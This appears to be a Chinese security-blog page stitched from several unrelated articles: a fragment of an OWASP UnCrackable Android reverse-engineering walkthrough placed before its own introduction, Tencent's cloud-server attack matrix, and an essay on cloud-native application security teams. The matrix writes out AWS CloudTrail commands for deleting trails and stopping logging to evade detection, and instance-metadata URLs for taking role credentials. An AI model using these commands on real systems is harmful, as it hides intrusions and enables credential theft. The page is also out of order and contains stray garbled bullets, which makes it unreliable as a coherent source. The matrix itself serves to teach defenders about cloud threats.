10. 退出初始的UnCrackable-Level2.apk 文件。在這一步，我們的APK 文件有兩個替換的補丁文件：來自第8 步的MainActivity.smali 和來自第4 步的libfoo.so。

11. 在您的設備上安裝重新安裝的APK 文件：

這一次，我們的應用程序啟動時沒有任何警告消息。

image.png

滲透測試android 12

接下來，我們需要將gdb 附加到Android 進程。首先在您的設備或模擬器上設置gdb 服務器。

12. 在您的設備上打開root shell：

image.png

13. 使用計算機上的命令行界面，將gdb 服務器複製到/data/local/tmp/gdb-server 文件夾中：

HireHackking

移動應用程序經常處理敏感數據，這是許多網絡犯罪分子的主要目標。在處理此類數據時，開發人員必須盡最大努力確保其受到保護。提高移動應用程序安全性的一種方法是執行移動應用程序滲透測試。

要找到應用程序代碼中的缺陷，開發人員至少需要逆向工程和滲透測試Android 應用程序方面的基本技能。在本文中，我們討論了攻擊者可能用來入侵您的應用程序的不同方法。我們還解釋了來自開放Web 應用程序安全項目(OWASP) 移動安全測試指南(MSTG) 的挑戰如何幫助您進行Android 應用程序的移動滲透測試，以及您可以使用哪些工具來解決這些問題。

在本文中，我們將討論如何滲透測試Android 應用程序以及使用哪些工具來提高移動應用程序的安全性。本文將對希望更多了解移動安全滲透測試服務並提高應用安全性的Android開發者有所幫助。

通過逆向工程加強應用程序的安全性Android 是一個對開發人員非常友好的操作系統(OS)。與其他移動操作系統不同，Android 是一個開源平台，您可以在該平台上激活開發人員選項和旁加載應用程序，而無需跳過太多步驟。此外，Android 允許開發人員在Android 開源項目中探索其源代碼，並根據需要修改操作系統功能。

但是，使用Android 應用程序也意味著您需要處理Java 字節碼和Java 本機代碼。一些開發人員可能認為這是一個缺點。 Android 開發人員使用Java Native Interface來提高應用程序性能、支持遺留代碼，當然，也會讓那些試圖查看其應用程序內部的人感到困惑。

在構建移動應用程序時，開發團隊的首要任務之一是確保高水平的數據安全性。開發人員應盡最大努力防止網絡犯罪分子獲取用戶的敏感信息。

有些人嘗試在第三方解決方案的幫助下提高其移動應用程序的安全性。但是，在使用第三方產品時，正確配置它們至關重要。配置錯誤或使用不當的解決方案將無濟於事，無論它多麼昂貴。

其他人則試圖將應用程序的功能和數據隱藏在本機層中。在某些情況下，他們構建Android 應用程序的方式是在本機層和運行時層之間跳轉執行。

也有開發人員使用更複雜的方法，例如逆向工程。在確保適當保護應用程序的敏感數據時，此技術非常有用。這就是為什麼開發人員最好至少具備一些逆向工程的基本技能：

解壓APK 文件

修補.smali 文件

修補.so 庫

使用調試工具

使用框架進行動態代碼分析

有了這些技能和專業知識，移動應用程序開發人員將有更好的機會檢測到可能被攻擊者利用的代碼缺陷。例如，為了侵入您的應用程序，黑客可能會使用質量保證(QA) 專家在測試應用程序的安全性和性能時使用的相同技術：

動態分析用於尋找在應用程序運行時操作應用程序數據的可能方法。例如，黑客可能會嘗試通過在登錄期間跳過多因素代碼檢查來破解您的應用程序。

靜態分析用於研究已經打包的應用程序並檢測代碼弱點，而無需直接訪問源代碼。通過靜態分析，我們不像在動態分析期間那樣查看應用程序在運行時的行為。例如，黑客可能會使用靜態分析來檢測弱加密算法的使用。要了解如何解決此類問題，請瀏覽我們關於Android 應用程序中的加密方法的文章。

開發人員有自己的方法來防止這些類型的代碼分析。例如，可以對源代碼進行模糊處理以防止其受到靜態分析：開發人員可以更改應用程序方法和類的名稱、添加對其他函數的調用以及加密代碼行。

注意：雖然代碼混淆有助於加強應用程序代碼以抵禦基於靜態分析的攻擊，但它也增加了引入新錯誤的風險。最好的逆向工程工具可以幫助您查看代碼是否已被混淆並確保對應用程序進行全面測試。

還有幾種方法可以保護移動應用程序免受動態代碼分析。特別是，開發人員可以：

阻止應用程序在有根設備上啟動

使用阻止應用程序以開發人員模式啟動並拒絕連接到動態分析框架（如Frida）的庫

應用額外的保護措施來防止重新打包和退出應用程序。

這些任務對於有經驗的逆向工程師來說很容易。經驗不足的開發人員在使用逆向工程技術滲透測試Android 應用程序之前可能需要一些練習。值得慶幸的是，OWASP為培訓和提高您的軟件逆向工程技能提供了許多挑戰。

在本文的後面，我們將針對兩個OWASP 移動安全測試指南CrackMe挑戰提供分步解決方案：UnCrackable App for Android Level 1和UnCrackable App for Android Level 2。解決這些挑戰將幫助您更好地了解如何改進移動應用程序的滲透測試並增強Android 解決方案的安全性。我們建議您在繼續閱讀之前嘗試自己解決它們。但首先，讓我們看一下對Android 應用程序進行逆向工程所需的工具和框架。

Android逆向工程的基本工具集在開始為Android 開發人員解決OWASP CrackMe 挑戰之前，您需要確保有兩件事：

了解Android 環境。您需要具有使用Java 和Linux 環境以及使用Android 內核的經驗。

正確的工具集。使用在Java 虛擬機(JVM) 上運行的字節碼和本機代碼需要特定的工具。

在本節中，我們列出並簡要描述了可用於解決OWASP CrackMe 挑戰和提升逆向工程技能的工具。

注意：出於本文的目的，我們僅選擇了免費或具有免費試用版的工具和框架。

Android Studio — Android 的官方集成開發環境(IDE)。這是構建原生Android 應用程序的主要IDE；它包括APK 分析器、代碼編輯器、可視化佈局編輯器等。特別是，我們將使用命令行Android 調試橋(adb) 工具。

Apktool — 這是一款流行的免費工具，用於對封閉的、第三方的和二進制的Android 應用程序進行逆向工程。它可以將Java 字節碼反彙編為.smali 格式，以及從APK 存檔中提取和反彙編資源。此外，您還可以使用Apktool 來修補和更改清單文件。

注意：應用程序代碼存儲在APK 文件中，其中包含帶有Dalvik 二進製字節碼的.dex 文件。 Dalvik 是一種Android 平台可以理解但人類完全無法讀取的數據格式。因此，為了讓開發人員能夠使用.dex 文件，需要將它們轉換為（和自）可讀格式，例如.smali。

Cutter — 一個開源跨平台框架，提供可定制、易於使用的逆向工程平台。該框架由radare2 提供支持，並得到大量專業逆向工程師社區的支持。

Hex Workshop Editor — 一套流行的Windows 十六進制開發工具。該工具集使編輯二進制數據幾乎與處理常規文本文檔一樣簡單。 Hex Workshop Editor 是商業軟件，但有免費試用版。

注意： Hex Workshop Editor 只能在Windows 上使用。如果您使用的是基於Linux 的虛擬機，則可以選擇任何Linux 十六進制編輯器。

dex2jar — 將字節碼從.dex 格式轉換為Java 類文件的免費工具。

JD-GUI — Java Decompiler 項目創建的工具之一。這個圖形實用程序使Java 源代碼可讀，將其顯示為Java 類文件。

Mobexler — 用於iOS 和Android 滲透測試的基於Elementary 的虛擬機。 Mobexler 附帶一組預安裝的工具和腳本，用於測試移動應用程序的安全性，包括此列表中的一些工具。

Java 調試器(jdb) — 用於調試Java 類的免費命令行工具。

注意：在Android應用中，調試可以分兩層進行：

马云惹不起马云 運行時層——Java 運行時調試可以在Java 調試有線協議(JDWP)的幫助下進行。

马云惹不起马云 Native 層——可以基於ptrace進行Linux/Unix 風格的調試。

JDWP 是一種標準調試協議，可幫助調試器與目標JVM 進行通信。所有流行的命令行工具和Java IDE 都支持此協議，包括Eclipse、JEB、IntelliJ，當然還有jbd。

JDWP 調試器允許您探索Java 代碼、在Java 方法中設置斷點以及檢查和修改局部變量和實例變量。它通常用於調試不會多次調用本機庫的常規Android 應用程序。

GNU 調試器(gdb) — 一種用於分析應用程序代碼的有用工具。

我們使用這些工具解決了Android 應用程序的兩個逆向工程挑戰。在下一節中，我們將為您提供基於標準OWASP 挑戰的基本Android 滲透測試教程。

HireHackking

前言雲服務器（Cloud Virtual Machine，CVM）是一種較為常見的雲服務，為用戶提供安全可靠以及高效的計算服務。用戶可以靈活的擴展以及縮減計算資源，以適應變化的業務需求。使用雲服務器可以極大降低用戶的軟硬件採購成本以及IT 運維成本。

由於雲服務器中承載著用戶的業務以及數據，其安全性尤為重要而云服務器的風險往往來自於兩方面：雲廠商平台側的風險與用戶在使用雲服務器時的風險。與用戶側風險相比，平台側的漏洞往往帶來更廣泛的影響，例如於2018 披露的AWS Launching EC2s did not require specifying AMI owner漏洞（CVE-2018-15869）、2020年披露的AWS XSS on EC2 web console漏洞；而與平台側漏洞相比，用戶側漏洞更容易產生，並且可以對用戶資產代理嚴重影響，例如2020年美高梅(MGM.US)大規模客戶數據洩露為例，美高梅酒店由於錯誤配置，導致雲服務器可以在未經授權情況下訪問，導致1.42億有關客人的信息暗網上出售，這些數據包含客人的家庭住址、聯繫信息、出生日期、駕照號碼和護照號碼。

雲服務器的安全性至關重要，只有深入了解針對雲服務器的風險以及攻擊手段，才能夠有效的幫助雲廠商以及用戶在面對這些威脅時有效的識別並採取對應的防護手段，從而保護雲上業務以及數據的安全。

雲服務器攻防矩陣概覽騰訊安全雲鼎實驗室以公開的雲廠商歷史漏洞數據、安全事件，以及騰訊云自身的安全數據為基礎，抽像出針對雲的攻防矩陣，並於2021年9月26日西部雲安全峰會上發布的《云安全攻防矩阵v1.0》 中首次亮相。《云安全攻防矩阵v1.0》 由雲服務器、容器以及對象存儲服務攻防矩陣共同組成。

本文將詳細介紹《云安全攻防矩阵》 中關於雲服務器攻防矩陣部分內容，以幫助開發、運維以及安全人員了解雲服務器的安全風險。

计划.png

雲服務器攻防矩陣

雲服務器攻防矩陣詳解初始訪問云平台主API密鑰洩露

雲平台主API密鑰重要性等同於用戶的登錄密碼，其代表了賬號所有者的身份以及對應的權限。

API 密鑰由SecretId和SecretKey組成，用戶可以通過API密鑰來訪問云平台API進而管理賬號下的資源。在一些攻擊場景中，由於開發者不安全的開發以及配置導致憑據洩露；而在另一些針對設備的入侵場景中，攻擊者將入侵設備並獲取設備中存儲的雲平台憑據，例如2020年TeamTNT組織針對Docker的攻擊事件中，惡意程序將會掃描受感染系統的~/.aws/credentials和~/.aws/config文件並竊取，導致AWS 憑證洩露。

在攻擊者可以通過竊取到的雲平台主API 密鑰後，冒用賬號所有者的身份入侵雲平台，非法操作雲服務器，篡改其中業務代碼、添加後門程序或竊取其中數據。

雲平台賬號非法登錄

雲平台提供多種身份驗證機制以供用戶登錄，包括手機驗證、賬號密碼驗證、郵箱驗證等。在雲平台登錄環節，攻擊者通過多種手法進行攻擊以獲取用戶的登錄權限，並冒用用戶身份非法登錄，具體的技術包括使用弱口令、使用用戶洩露賬號數據、騙取用戶登錄手機驗證碼、盜取用戶登錄賬號等。攻擊者使用獲取到的賬號信息進行非法登錄雲平台後，即可操作雲服務器。

實例登錄信息洩露

在購買並創建雲服務器後，用戶可以自行配置雲服務器的登錄用戶名以及登錄密碼，Linux雲服務器往往支持用戶通過ssh的方式使用配置的用戶名密碼或SSH密鑰的方式遠程登錄雲服務器；在Windows服務器中，用戶可以通過RDP文件或是遠程桌面的形式登錄雲服務器。當上述這些雲服務器實例登錄信息被竊取後，攻擊者可以通過這些信息非法登錄雲服務器實例。

賬戶劫持

當云廠商提供的控制台存在漏洞時，用戶的賬戶存在一定的劫持風險。以AWS 控制台更改歷史記錄功能模塊處XSS漏洞以及AWS 控制台實例tag處XSS為例，攻擊者可以通過這些XSS漏洞完成賬戶劫持攻擊，從而獲取雲服務器實例的控制權。

網絡釣魚

為了獲取雲服務器的訪問權限，攻擊者可採用網絡釣魚技術手段完成此階段攻擊。攻擊者通過向雲服務器管理人員以及運維人員發送特定主題的釣魚郵件、或是偽裝身份與管理人員以及運維人員通過聊天工具進行交流，通過竊取憑據、登錄信息或是安插後門的形式獲取雲服務器控制權。

應用程序漏洞

當云服務器實例中運行的應用程序存在漏洞、或是由於配置不當導致這些應用可以被非法訪問時，攻擊者可以通過掃描探測的方式發現並利用這些應用程序漏洞進行攻擊，從而獲取雲服務器實例的訪問權限。

使用惡意或存在漏洞的自定義鏡像

雲平台為用戶提供公共鏡像、自定義鏡像等鏡像服務以供用戶快速創建和此鏡像相同配置的雲服務器實例。這裡的鏡像雖然與Docker鏡像不同，其底層使用的是雲硬盤快照服務，但云服務器鏡像與Docker鏡像一樣存在著類似的風險，即惡意鏡像以及存在漏洞的鏡像風險。當用戶使用其他用戶共享的鏡像創建雲服務器實例時，雲平台無法保證這個共享鏡像的完整性或安全性。攻擊者可以通過這個方式，製作惡意自定義鏡像並通過共享的方式進行供應鏈攻擊。

實例元數據服務未授權訪問

雲服務器實例元數據服務是一種提供查詢運行中的實例內元數據的服務，雲服務器實例元數據服務運行在鏈路本地地址上，當實例向元數據服務發起請求時，該請求不會通過網絡傳輸，但是如果雲服務器上的應用存在RCE、SSRF等漏洞時，攻擊者可以通過漏洞訪問實例元數據服務。通過雲服務器實例元數據服務查詢，攻擊者除了可以獲取雲服務器實例的一些屬性之外，更重要的是可以獲取與實例綁定的擁有高權限的角色，並通過此角色獲取雲服務器的控制權。

執行通過控制台登錄實例執行

攻擊者在初始訪問階段獲取到平台登錄憑據後，可以利用平台憑據登錄雲平台，並直接使用雲平台提供的Web控制台登錄雲服務器實例，在成功登錄實例後，攻擊者可以在實例內部執行命令。

寫入userdata執行

Userdata是雲服務器為用戶提供的一項自定義數據服務，在創建雲服務器時，用戶可以通過指定自定義數據，進行配置實例。當云服務器啟動時，自定義數據將以文本的方式傳遞到雲服務器中，並執行該文本。

通過這一功能，攻擊者可以修改實例userdata並向其中寫入待執行的命令，這些代碼將會在實例每次啟動時自動執行。攻擊者可以通過重啟雲服務器實例的方式，加載userdata中命令並執行。

利用後門文件執行

攻擊者在雲服務器實例中部署後門文件的方式有多種，例如通過Web應用漏洞向雲服務器實例上傳後門文件、或是通過供應鏈攻擊的方式誘使目標使用存在後門的惡意鏡像，當後門文件部署成功後，攻擊者可以利用這些後門文件在雲服務器實例上執行命令

利用應用程序執行

雲服務器實例上部署的應用程序，可能會直接或者間接的提供命令執行功能，例如一些服務器管理類應用程序將直接提供在雲服務器上執行命令的功能，而另一些應用，例如數據庫服務，可以利用一些組件進行命令執行。當這些程序存在配置錯誤時，攻擊者可以直接利用這些應用程序在雲服務器實例上執行命令

利用SSH服務進入實例執行

雲服務器Linux實例上往往運行著SSH服務，當攻擊者在初始訪問階段成功獲取到有效的登錄憑據後，即可通過SSH登錄雲服務器實例並進行命令執行。

利用遠程代碼執行漏洞執行

當云服務器上部署的應用程序存在遠程代碼執行漏洞時，攻擊者將利用此脆弱的應用程序並通過編寫相應的EXP來進行遠程命令執行。

使用雲API執行

攻擊者利用初始訪問階段獲取到的擁有操作雲服務器權限的憑據，通過向雲平台API接口發送HTTP/HTTPS 請求，以實現與雲服務器實例的交互操作。

雲服務器實例提供了豐富的API接口以共用戶使用，攻擊者可以通過使用這些API接口並構造相應的參數，以此執行對應的操作指令，例如重啟實例、修改實例賬號密碼、刪除實例等。

使用雲廠商工具執行

除了使用雲API接口完成雲服務器命令執行之外，還可以選擇使用雲平台提供的可視化或命令行工具進行操作。在配置完成雲服務器實例信息以及憑據後，攻擊者即可使用這類工具進行服務器實例的管理以及執行相應命令。

持久化利用遠程控制軟件

為了方便管理雲服務器實例，管理員有可能在實例中安裝有遠程控制軟件，這種情況在windows實例中居多。攻擊者可以在服務器中搜索此類遠程控制軟件，並獲取連接憑據，進行持久化。攻擊者也可以在實例中安裝遠控軟件以達成持久化的目的。

在userdata中添加後門

正如“執行”階段所介紹，攻擊者可以利用雲服務器提供的userdata服務進行持久化操作，攻擊者可以通過調用雲API接口的方式在userdata中寫入後門代碼，每當服務器重啟時，後門代碼將會自動執行，從而實現了隱蔽的持久化操作目的

在雲函數中添加後門

雲函數是是一種計算服務，可以為企業和開發者們提供的無服務器執行環境。用戶只需使用平台支持的語言編寫核心代碼並設置代碼運行的條件，即可彈性、安全地運行代碼，由平台完成服務器和操作系統維護、容量配置和自動擴展、代碼監控和日誌記錄等工作。

以AWS Lambda為例，用戶可以創建一個IAM角色並賦予其相應的權限並在創建函數時提供該角色作為此函數的執行角色，當函數被調用時，Lambda 代入該角色，如果函數綁定的角色權限過高，攻擊者可以在其中插入後門代碼，例如在調用該函數後創建一個新用戶，以此進行持久化操作。

在自定義鏡像庫中導入後門鏡像

在攻擊者獲取雲服務器控制台權限後，可以對用戶自定義鏡像倉庫中的鏡像進行導入、刪除等操作，攻擊者可以將其構造的存在後門的鏡像上傳至用戶鏡像倉庫。此外，為了提高攻擊成功率，攻擊者還可以使用後門鏡像替換用戶鏡像倉庫中原有鏡像。當用戶使用後門鏡像進行實例創建時，即可觸發惡意代碼以完成持久化操作。

給現有的用戶分配額外的API密鑰

API密鑰是構建騰訊雲API 請求的重要憑證，雲平台運行用戶創建多個API密鑰，通過此功能，擁有API密鑰管理權限的攻擊者可以為賬戶下所有用戶分配一個額外的API密鑰，並使用這些API密鑰進行攻擊。

建立輔助賬號登錄

擁有訪問管理權限的攻擊者可以通過建立子賬號的形式進行持久化操作，攻擊者可以將建立的子賬號關聯等同於主賬號的策略，並通過子賬號進行後續的攻擊行為。

權限提升通過訪問管理提權

錯誤的授予雲平台子賬號過高的權限，也可能會導致子賬號通過訪問管理功能進行提權操作。由於錯誤的授予雲平台子賬號過高的操作訪問管理功能的權限，子賬號用戶可以通過訪問管理功能自行授權策略。通過此攻擊手段，攻擊者可以通過在訪問管理中修改其云服務器的權限策略，以達到權限提升。

利用應用程序提權

攻擊者通過雲服務器中運行的Docker容器中應用漏洞，成功獲取Docker容器的權限，攻擊者可以通過Docker漏洞或錯誤配置進行容器逃逸，並獲取雲主機的控制權，從而實現權限提升。當然，攻擊者也可以通過其他應用程序進行提權。

創建高權限角色

當攻擊者擁有訪問管理中新建角色的權限時，可以通過調用雲API接口的方式，建立一個新的角色，並為這個角色賦予高權限的策略，攻擊者可以通過利用此角色進行後續的攻擊行為。

利用操作系統漏洞進行提權

與傳統主機安全問題相似，雲服務器實例也同樣可能存在操作系統漏洞，攻擊者可以利用操作系統漏洞，進行權限提升。

防禦繞過關閉安全監控服務

雲平台為了保護用戶雲主機的安全，往往會提供一些安全監控產品用以監控和驗證活動事件的真實性，並且以此辨識安全事件，檢測未經授權的訪問。攻擊者可以通過在攻擊流程中關閉安全監控產品以進行防禦繞過，以AWS CloudTrail為例，攻擊者可以通過如下指令指令關閉CloudTrail監控：

aws cloudtrail delete-trail --name [my-trail]

但是進行此操作會在CloudTrail控制台或GuardDuty中觸發告警，也可以通過配置禁用多區域日誌記錄功能，並在監控區域外進行攻擊，以AWS CloudTrail為例，攻擊者可以通過如下指令關閉多區域日誌記錄功能：

aws cloudtrail update-trail --name [my-trail] --no-is-multi-region-trail --no-include-global-service-events

監控區域外進行攻擊

雲平台提供的安全監控服務，默認情況下是進行全區域安全監控，但是在一些場景中可能出現一些監控盲區，例如用戶在使用安全監控服務時，關閉了全區域監控，僅開啟部分區域的監控，以AWS CloudTrail為例，可以使用如下指令來查看CloudTrail的監控範圍，並尋找監控外的雲主機進行攻擊以防止觸發安全告警：

aws cloudtrail describe-trails

禁用日誌記錄

與直接關閉安全監控服務相比，攻擊者可以通過禁用平台監控告警日誌的方式進行防禦繞過，並在攻擊流程結束後再次開啟告警日誌。以AWS CloudTrail為例，攻擊者可以通過使用如下指令關閉CloudTrail日誌

aws cloudtrail stop-logging --name [my-trail]

並在攻擊完成後，使用如下指令再次開啟日誌記錄功能：

aws cloudtrail start-logging --name [my-trail]

日誌清理

攻擊者在完成攻擊流程後，可以刪除監控服務日誌以及雲主機上的日誌，以防攻擊行為暴露。

通過代理訪問

大多數雲服務器提供操作日誌記錄功能，將記錄時間、操作內容等。攻擊者可以利用代理服務器來隱藏他們真實IP。

竊取憑證獲取服務器實例登錄憑據

當攻擊者獲取雲服務器實例的控制權後，可以通過一些方式獲取服務器上用戶的登錄憑據，例如使用mimikatz抓取Windows憑證，並將獲取到的這些登錄憑據應用到後續的攻擊流程中。

元數據服務獲取角色臨時憑據

雲服務器為用戶提供了一種每名實例元數據的服務，元數據即表示實例的相關數據，可以用來配置或管理正在運行的實例。用戶可以通過元數據服務在運行中的實例內查看實例的元數據。以AWS舉例，可以在實例內部訪問如下地址來查看所有類別的實例元數據：

http://169.254.169.254/latest/meta-data/

在雲服務器使用過程中，戶可以將角色關聯到雲服務器實例。使用元數據服務可以查詢到此角色名稱以及角色的臨時憑據，以AWS為例，可以通過如下請求獲取角色名稱：

http://169.254.169.254/latest/meta-data/iam/info

在獲取到角色名稱後，可以通過以下鏈接取角色的臨時憑證：

http://169.254.169.254/latest/metadata/iam/security-credentials/rolename

獲取配置文件中的應用憑證

雲服務器應用中的配置文件中可能存儲著一些敏感信息，例如一些應用的訪問憑據或是登錄密碼，攻擊者可以在雲服務器中搜尋這些配置文件，並將其中的敏感數據進行竊取並在後續的攻擊中加以利用。

雲服務憑證洩露

在雲服務器實例中運行應用程序中，往往使用環境變量或是硬編碼的方式明文存儲雲服務憑據，應用程序使用這些憑據調用其他雲上服務的憑據，攻擊者可以通過讀取環境變量中的參數，或是分析應用程序代碼的方式獲取這些憑據，以此獲取其他雲服務的憑據，甚至是雲平台主API密鑰。

用戶賬號數據洩露

在一些場景中，開發者使用對象存儲服務存儲其業務中的用戶數據，例如用戶的姓名、身份證號碼、電話等敏感數據，當然也會包含用戶賬號密碼等憑據信息。

攻擊者通過對存儲桶中用戶數據的提取與分析以竊取這些用戶的憑據數據，並通過獲取的信息進行後續的攻擊。

探測雲資產探測

攻擊者在探測階段，會尋找環境中一切可用的資源，例如實例、存儲以及數據庫服務等。

通常攻擊者可以使用雲平台提供的API或工具來完成雲資產探測，通過發出命令等方法來蒐集基礎設施的信息。以AWS API接口為例，可以使用DescribeInstances接口來查詢賬戶中一個或多個實例的信息，或是使用ListBuckets API接口來查詢目標存儲桶列表信息。

網絡掃描

與傳統的內網掃描類似，攻擊者在此階段也會嘗試發現在其他雲主機上運行的服務，攻擊者使用系統自帶的或上傳至雲服務實例的工具進行端口掃描和漏洞掃描以發現那些容易受到遠程攻擊的服務。此外，如果目標雲環境與非雲環境連同，攻擊者也可能能夠識別在非雲系統上運行的服務。

橫向移動使用實例賬號爆破

當攻擊者在竊取憑據階段，在實例中成功獲取了有效的賬號信息後，攻擊者可以利用這些賬號數據製作賬號字典並嘗試爆破目標的雲資產或非雲資產，並橫向移動到這些資產中。

通過控制台權限橫向移動

當攻擊者獲取了目標控制台權限後，可以通過控制台提供的功能，橫向移動到目標用戶的其他雲資產中。

竊取角色臨時憑據橫向訪問

攻擊者通過實例元數據服務，可以獲取與實例綁定的角色的臨時憑據，攻擊者可以利用獲取的角色臨時憑據，橫向移動到角色權限範圍內的雲資產中。

竊取憑據訪問云服務

通過雲服務器中Web應用程序源代碼的分析，攻擊者可能會從Web應用程序的配置文件中獲取的應用開發者用來調用其他雲上服務的憑據。攻擊者利用獲取到的雲憑據，橫向移動到用戶的其他雲上業務中。如果攻擊者獲取到的憑據為雲平台主API密鑰，攻擊者可以通過此密鑰橫向移動到用戶的其他雲資產中。

竊取用戶賬號攻擊其他應用

攻擊者通過從雲服務器中竊取的用戶賬號數據，用以橫向移動至用戶的其他應用中，包括用戶的非雲上應用。

影響竊取項目源碼

攻擊者通過下載雲服務器中的應用程序源碼，造成源碼洩露事件發生。通過對源碼的分析，攻擊者可以獲取更多的可利用信息。

竊取用戶數據

當用雲服務器中以文件、數據庫或者其他形式保存用戶數據時，攻擊者通過攻擊雲服務器以竊取用戶敏感數據，這些信息可能包含用戶的姓名、證件號碼、電話、賬號信息等，當用戶敏感信息洩露事件發生後，將會造成嚴重的影響。

破壞文件

攻擊者在獲取雲服務器控制權後，可能試圖對雲服務器中的文件進行刪除或者覆蓋，以達到破壞服務的目的。

c

除了刪除以及覆蓋雲服務器文件之外，攻擊者可以對雲服務器中文件進行篡改，通過修改應用程序代碼、文本內容、圖片等對像以達到攻擊效果。在一些場景中，用戶使用雲服務器部署靜態網站，攻擊者通過篡改其中頁面內的文本內容以及圖片，對目標站點造成不良的影響。

植入後門

攻擊者在雲服務器應用中插入惡意代碼，或者在項目目錄中插入後門文件，攻擊者可以利用這些後門發起進一步的攻擊。

加密勒索

在獲取雲服務器控制權後，攻擊者可能會對雲服務器上的文件進行加密處理，從而勒索用戶，向用戶索要贖金。

寫在後面雲服務器作為一個基礎而又重要的雲產品，面臨著眾多的安全挑戰。深入了解雲服務器存在的風險點以及對應的攻擊手段，可以有效的保障用戶在使用雲服務器時的安全性。

在騰訊安全雲鼎實驗室推出《云安全攻防矩阵》 中，用戶可以根據矩陣中所展示的內容，了解當前環境中所面臨的威脅，並以此制定監測手段用以發現風險，詳見騰訊安全雲鼎實驗室攻防組官網：

https://cloudsec.tencent.com/#/home

除《云安全攻防矩阵v1.0》 中已包含的產品外，騰訊安全雲鼎實驗室制定了雲安全攻防矩陣未來發布計劃，以雲產品以及業務為切入點，陸續發布雲數據庫、人工智能、雲物聯網等雲安全攻防矩陣。

云服务器攻防矩阵.png

HireHackking

數字化轉型是一股不可忽視的力量。在每個垂直領域，企業都努力成為技術公司，並越來越多地區分他們如何實現這一描述。

雲和DevOps在這種轉型中發揮著巨大的作用，並徹底改變了我們開發和運營軟件的方式。軟件從未像今天這樣容易創建，從未像今天這樣頻繁地更新，也從未創新過如此迅速地適應客戶需求。

面對這樣的變化，安全別無選擇，只能適應。企業必須並將繼續努力提高速度，而獨立團隊是實現這一目標的唯一途徑。我們保護應用程序的方式必須轉變，使其成為這些獨立開發團隊日常工作的一部分。安全團隊首先需要專注於幫助這些團隊實現安全性。安全性需要成為開發優先。

安全行業並不是DevOps旅程的一部分。安全流程傾向於控制持續流程，而不是合併到流程中。值得注意的是，安全流程無法實現以下功能：

增強獨立開發團隊的能力安全能力由一個單獨的團隊擁有，開發團隊無權做出安全決策，並且工具主要是為審計人員而不是構建人員設計的。

持續運維安全流程仍然嚴重依賴手動門，例如安全審計或結果審查，從而減慢了持續流程的速度。

讓安全工作違背速度和獨立性的業務動機，不可能有好下場。開發團隊必須在放慢速度（這會損害業務成果）和規避安全控制（這會引入重大風險）之間做出選擇。這些都不是可行的長期選擇，因此企業必須改變其安全實踐以適應DevOps現實。

DevOps推動了對開發優先的安全方法論的需求，在數字化轉型時代，我們還看到了雲的演變和雲原生應用程序。雲原生應用程序的範圍比其前身更廣泛，並且越來越多地包含底層堆棧的更多元素。

應用程序範圍的這種變化也需要改變應用程序安全的範圍。本文討論應用程序安全性的一個新的和擴展的範圍，稱為雲原生應用程序安全（CNAS）。

採用CNAS需要對我們保護應用程序和基礎架構的方式進行重大更改。進行轉變的過程是一個旅程，對於每個組織，甚至對於同一組織的不同部分，其經歷都是不同的。

雖然選擇正確的道路是由你的決定，但是為了獲得正確的路徑，模式和最佳實踐已經開始出現。在本文中，我提出了幾個可以考慮打破現狀的領域，以及如何打破現狀。

重新思考安全組織架構組織通常根據責任範圍進行拆分。當你將保護基礎架構的某些部分視為應用程序安全問題時，請重新考慮如何構建安全組織。更具體地說，請考慮是否更改應用程序安全團隊的責任範圍。

此外，隨著你的安全實踐變得更加偏向開發優先的理念，並專注於增強開發人員的能力，你對此應用程序安全團隊的要求也會發生變化。你需要更多的同理心和項目管理以及更多的工程能力。你需要更多的建設者和更少的破壞者。

為了幫助你評估安全部門的組織結構，以下是我在應用程序安全這個領域中看到的三個最常見的團隊作用域：核心應用程序安全、安全工程和較新的產品安全。這些應該作為如何構建組織的參考點，而不是採用完美的模型。

核心應用安全團隊讓我們從現狀開始，為應用程序安全團隊保持相同的範圍。由於這是默認狀態，因此大多數組織都使用此團隊作用域，至少作為起點。

核心應用程序安全團隊的任務是保護自定義應用程序代碼和業務邏輯以及正在使用的開源庫。他們通常擁有經典的應用程序安全測試（AST）套件，包括靜態，動態和交互式應用程序安全測試（SAST，DAST和IAST）以查找自定義代碼中的漏洞，以及軟件成分分析（SCA）工具以查找易受攻擊的開源庫。此外，這些團隊通常會開發安全教育和培訓，並可能開展漏洞管理或漏洞賞金工作。在某些情況下，他們也可能使用RASP或WAF工具實現運行時應用程序保護的能力。

核心應用程序安全團隊成員通常需要是安全編碼方面的專家，並具有應用程序運行審核和安全代碼審計的一些經驗。他們需要良好的開發人員同理心才能與開發人員合作，這反過來又需要一些理解或與代碼相關的能力，但不需要完整的軟件開發證書。

堅持設定核心應用程序安全團隊的主要優勢是它在行業中的長期地位。它使招聘具有整個團隊領域經驗的專業人員變得更容易。對於工具來說，這是一個工具和實踐被很好地記錄的領域。從組織結構的角度來看，大多數行業都會認為應用程序安全團隊與核心應用程序安全團隊類似。

雖然核心應用程序安全團隊的職責範圍是維持現狀，但它的方法論往往變得更加有利於開發人員。應用程序安全團隊通常會將團隊中的個人職責分配為多個開發團隊的合作夥伴，從而幫助促進更好的協作。在應用安全領域有許多同行會開展安全冠軍計劃，幫助他們獲得規模並在開發團隊中嵌入更多安全專業知識。雖然範圍基本保持不變，但核心應用程序安全團隊的內部實踐不必是傳統的那些做法。

安全工程/安全平台團隊將安全管控流程的步驟實現自動化是現代開發環境中的關鍵。快速CI/CD管道沒有手動審查的空間，而是需要自動化管道測試。此外，開發人員不是安全專家，他們花在安全上的時間更少，因此需要具有嵌入式安全專業知識的工具，並能夠減輕或促進安全性決策。

構建和運營安全工具並非易事，尤其是在大型組織中，不同的開發團隊有著截然不同的要求。為了幫助提高自動化程度，一些組織創建了專門的安全工程團隊，專注於構建內部工具和集成外部工具，所有這些都是為了增強安全性。

安全工程團隊由對安全性略有偏見的軟件工程師組成，其運作方式與完整的DevOps工程團隊類似。他們通常構建、部署和運營他們構建的服務，並使用與其他工程團隊相同的方法來運行其敏捷流程和管理產品積壓工作。

如果工作量不夠大，不足以保證單獨建立自己的團隊，那麼同樣的活動通常也可以嵌入到核心應用程序安全團隊中。然而，儘管名為“安全工程”的團隊在章程中非常一致，但擁有（越來越普遍的）安全工程師頭銜的個人在職責上差異很大。有些人是上文所描述的軟件工程師，而對於其他人來說，頭銜中的“工程師”部分指的則是安全領域。

安全工程團隊是真正提高自動化程度的好方法，並且是面向運維的平台或站點可靠性工程師（SRE）團隊的絕佳並行團隊。事實上，在相當多的情況下，平台團隊的範圍已經擴大到包括構建和運營此類安全工具。這也是讓軟件工程師加入安全團隊的好方法，幫助解決人才短缺問題，並在安全團隊中建立更多的開發人員同理心。

